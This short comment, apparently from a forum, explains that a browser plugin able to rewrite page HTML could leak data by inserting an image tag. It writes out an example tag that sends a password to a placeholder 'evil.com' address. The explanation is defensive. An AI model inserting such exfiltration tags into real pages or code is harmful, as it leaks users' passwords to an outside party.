Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="
http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests.
The plugin's code is probably quite short - maybe you could inspect it yourself, manually?
